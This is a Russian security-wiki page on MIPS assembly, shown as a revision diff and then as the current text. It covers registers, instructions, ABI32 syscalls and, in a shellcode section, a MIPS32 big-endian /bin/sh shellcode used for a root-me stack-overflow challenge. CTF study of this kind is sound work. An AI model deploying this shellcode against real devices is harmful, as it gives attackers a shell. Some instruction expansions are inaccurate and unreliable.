Mips — различия между версиями
Материал из InformationSecurity WIKI
Drakylar (обсуждение | вклад) м (→Ссылки) |
Drakylar (обсуждение | вклад) м (→MIPS32 big-endian) |
||
(не показано 15 промежуточных версий этого же участника) | |||
Строка 1: | Строка 1: | ||
− | + | Часть статьи скопирована с вики с комментариями. | |
− | |||
==Описание== | ==Описание== | ||
Строка 6: | Строка 5: | ||
===Регистры с описанием=== | ===Регистры с описанием=== | ||
+ | |||
+ | {| class="wikitable" | ||
+ | |+ Регистры | ||
+ | ! Название || Номер || Применение | ||
+ | |- | ||
+ | ! $zero | ||
+ | | $0 || всегда хранит 0 | ||
+ | |- | ||
+ | ! $at | ||
+ | | $1 || временный регистр для языка ассемблера | ||
+ | |- | ||
+ | ! $v0—$v1 | ||
+ | | $2—$3 || значения функций и выражений ($v0 отвечает за вызов syscall) | ||
+ | |- | ||
+ | ! $a0—$a3 | ||
+ | | $4—$7 || аргументы функций | ||
+ | |- | ||
+ | ! $t0—$t7 | ||
+ | | $8—$15 || временные | ||
+ | |- | ||
+ | ! $s0—$s7 | ||
+ | | $16—$23 || сохраненные временные значения | ||
+ | |- | ||
+ | ! $t8—$t9 | ||
+ | | $24—$25 || временные | ||
+ | |- | ||
+ | ! $k0—$k1 | ||
+ | | $26—$27 || зарезервирована для ядра операционной системы | ||
+ | |- | ||
+ | ! $gp | ||
+ | | $28 || глобальный указатель | ||
+ | |- | ||
+ | ! $sp | ||
+ | | $29 || указатель стека | ||
+ | |- | ||
+ | ! $fp | ||
+ | | $30 || указатель фрейма | ||
+ | |- | ||
+ | ! $ra | ||
+ | | $31 || адрес возврата | ||
+ | |} | ||
===Инструкции=== | ===Инструкции=== | ||
+ | Полный список на вики или в ссылках. | ||
+ | Сюда вписываю то, что потребовалось при решении root-me. | ||
+ | |||
+ | |||
+ | {| class="wikitable" | ||
+ | !colspan="3"|Список инструкций | ||
+ | |- | ||
+ | |'''Название''' | ||
+ | |'''Расшифровка''' | ||
+ | |'''Формула''' | ||
+ | |- | ||
+ | |la x1,x2 | ||
+ | |Load address | ||
+ | |x1 = x2 | ||
+ | |- | ||
+ | |jal(r) x1 | ||
+ | |Jump After Load Address | ||
+ | |goto x1 | ||
+ | |- | ||
+ | |nop | ||
+ | |No OPeration | ||
+ | | | ||
+ | |- | ||
+ | |addiu x1,x2,x3 | ||
+ | |Add Int Unsigned (беззнаковое сложение целых чисел) Def x3=0 | ||
+ | |x1 = x2 + x3 | ||
+ | |- | ||
+ | |move x1,x2 | ||
+ | |Movement | ||
+ | |x1 = x2 | ||
+ | |- | ||
+ | |syscall | ||
+ | |System call (системный вызов, см пункт системных вызовов) | ||
+ | |goto syscall($v0) | ||
+ | |- | ||
+ | |subu x1,x2,x3 | ||
+ | |sub unsigned (беззнаковое вычитание) | ||
+ | | x1 = x2 - x3 | ||
+ | |- | ||
+ | |sw x1,x2(x3) | ||
+ | |Store Word | ||
+ | |memory[x3 + x2] = x1 | ||
+ | |- | ||
+ | |lw x1,x2(x3) | ||
+ | |Load Word | ||
+ | |x1 = memory[x3 + x2] | ||
+ | | | ||
+ | |} | ||
===Системные вызовы=== | ===Системные вызовы=== | ||
Строка 17: | Строка 105: | ||
====_MIPS_SIM_ABI32==== | ====_MIPS_SIM_ABI32==== | ||
+ | Смещение будет 4000 + номер системного вызова. | ||
+ | Весь список системных вызовов: | ||
+ | https://android.googlesource.com/kernel/mediatek/+/refs/heads/android-mediatek-sprout-3.4-kitkat-mr2/arch/mips/include/asm/unistd.h | ||
+ | |||
+ | Записал только популярные: | ||
+ | |||
+ | |||
+ | {| class="wikitable" | ||
+ | !colspan="3"|Список системных вызовов | ||
+ | |- | ||
+ | |'''Номер''' | ||
+ | |'''Название в исходниках''' | ||
+ | |'''Описание''' | ||
+ | |- | ||
+ | |0 | ||
+ | |__NR_syscall | ||
+ | |Пока не понял, скорее всего инициализация | ||
+ | |- | ||
+ | |1 | ||
+ | |__NR_exit | ||
+ | |Выход | ||
+ | |- | ||
+ | |2 | ||
+ | |__NR_fork | ||
+ | |Создание форка программы | ||
+ | |- | ||
+ | |3 | ||
+ | |__NR_read | ||
+ | |Чтение строки | ||
+ | |- | ||
+ | |4 | ||
+ | |__NR_write | ||
+ | |Запись строки | ||
+ | |} | ||
====_MIPS_SIM_ABI64==== | ====_MIPS_SIM_ABI64==== | ||
Строка 26: | Строка 148: | ||
==Особые техники обхода защиты== | ==Особые техники обхода защиты== | ||
+ | |||
+ | |||
+ | ==Шеллкоды== | ||
+ | |||
+ | ===Локальные=== | ||
+ | |||
+ | |||
+ | ====MIPS32 big-endian==== | ||
+ | |||
+ | Проверено на таске https://www.root-me.org/en/Challenges/App-System/ELF-MIPS-Stack-buffer-overflow-No-NX | ||
+ | |||
+ | http://shell-storm.org/shellcode/files/shellcode-782.php | ||
+ | |||
+ | <syntaxhighlight lang="python" line="1" enclose="div" style="overflow-x:scroll" > | ||
+ | shellcode = "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01\x01\x0c/bin/sh\x00" | ||
+ | </syntaxhighlight> | ||
+ | |||
+ | ===Удаленные=== | ||
Строка 34: | Строка 174: | ||
[https://courses.missouristate.edu/KenVollmar/MARS/Help/SyscallHelp.html Обьяснение на английском откуда берется 4001 системный вызов] | [https://courses.missouristate.edu/KenVollmar/MARS/Help/SyscallHelp.html Обьяснение на английском откуда берется 4001 системный вызов] | ||
+ | |||
+ | [https://ru.wikipedia.org/wiki/MIPS_(%D0%B0%D1%80%D1%85%D0%B8%D1%82%D0%B5%D0%BA%D1%82%D1%83%D1%80%D0%B0) Вики] |
Текущая версия на 14:35, 2 февраля 2020
Часть статьи скопирована с вики с комментариями.
Содержание
Описание
Регистры с описанием
Название | Номер | Применение |
---|---|---|
$zero | $0 | всегда хранит 0 |
$at | $1 | временный регистр для языка ассемблера |
$v0—$v1 | $2—$3 | значения функций и выражений ($v0 отвечает за вызов syscall) |
$a0—$a3 | $4—$7 | аргументы функций |
$t0—$t7 | $8—$15 | временные |
$s0—$s7 | $16—$23 | сохраненные временные значения |
$t8—$t9 | $24—$25 | временные |
$k0—$k1 | $26—$27 | зарезервирована для ядра операционной системы |
$gp | $28 | глобальный указатель |
$sp | $29 | указатель стека |
$fp | $30 | указатель фрейма |
$ra | $31 | адрес возврата |
Инструкции
Полный список на вики или в ссылках. Сюда вписываю то, что потребовалось при решении root-me.
Список инструкций | |||
---|---|---|---|
Название | Расшифровка | Формула | |
la x1,x2 | Load address | x1 = x2 | |
jal(r) x1 | Jump After Load Address | goto x1 | |
nop | No OPeration | ||
addiu x1,x2,x3 | Add Int Unsigned (беззнаковое сложение целых чисел) Def x3=0 | x1 = x2 + x3 | |
move x1,x2 | Movement | x1 = x2 | |
syscall | System call (системный вызов, см пункт системных вызовов) | goto syscall($v0) | |
subu x1,x2,x3 | sub unsigned (беззнаковое вычитание) | x1 = x2 - x3 | |
sw x1,x2(x3) | Store Word | memory[x3 + x2] = x1 | |
lw x1,x2(x3) | Load Word | x1 = memory[x3 + x2] |
Системные вызовы
_UAPI_ASM_UNISTD_H
_MIPS_SIM_ABI32
Смещение будет 4000 + номер системного вызова.
Весь список системных вызовов: https://android.googlesource.com/kernel/mediatek/+/refs/heads/android-mediatek-sprout-3.4-kitkat-mr2/arch/mips/include/asm/unistd.h
Записал только популярные:
Список системных вызовов | ||
---|---|---|
Номер | Название в исходниках | Описание |
0 | __NR_syscall | Пока не понял, скорее всего инициализация |
1 | __NR_exit | Выход |
2 | __NR_fork | Создание форка программы |
3 | __NR_read | Чтение строки |
4 | __NR_write | Запись строки |
_MIPS_SIM_ABI64
_MIPS_SIM_NABI32
Особые техники обхода защиты
Шеллкоды
Локальные
MIPS32 big-endian
Проверено на таске https://www.root-me.org/en/Challenges/App-System/ELF-MIPS-Stack-buffer-overflow-No-NX
http://shell-storm.org/shellcode/files/shellcode-782.php
shellcode = "\x24\x06\x06\x66\x04\xd0\xff\xff\x28\x06\xff\xff\x27\xbd\xff\xe0\x27\xe4\x10\x01\x24\x84\xf0\x1f\xaf\xa4\xff\xe8\xaf\xa0\xff\xec\x27\xa5\xff\xe8\x24\x02\x0f\xab\x01\x01\x01\x0c/bin/sh\x00"
Удаленные
Ссылки
Система команд процессора MIPS R3000 игровой приставки SONY PLAYSTATION
Обьяснение на английском откуда берется 4001 системный вызов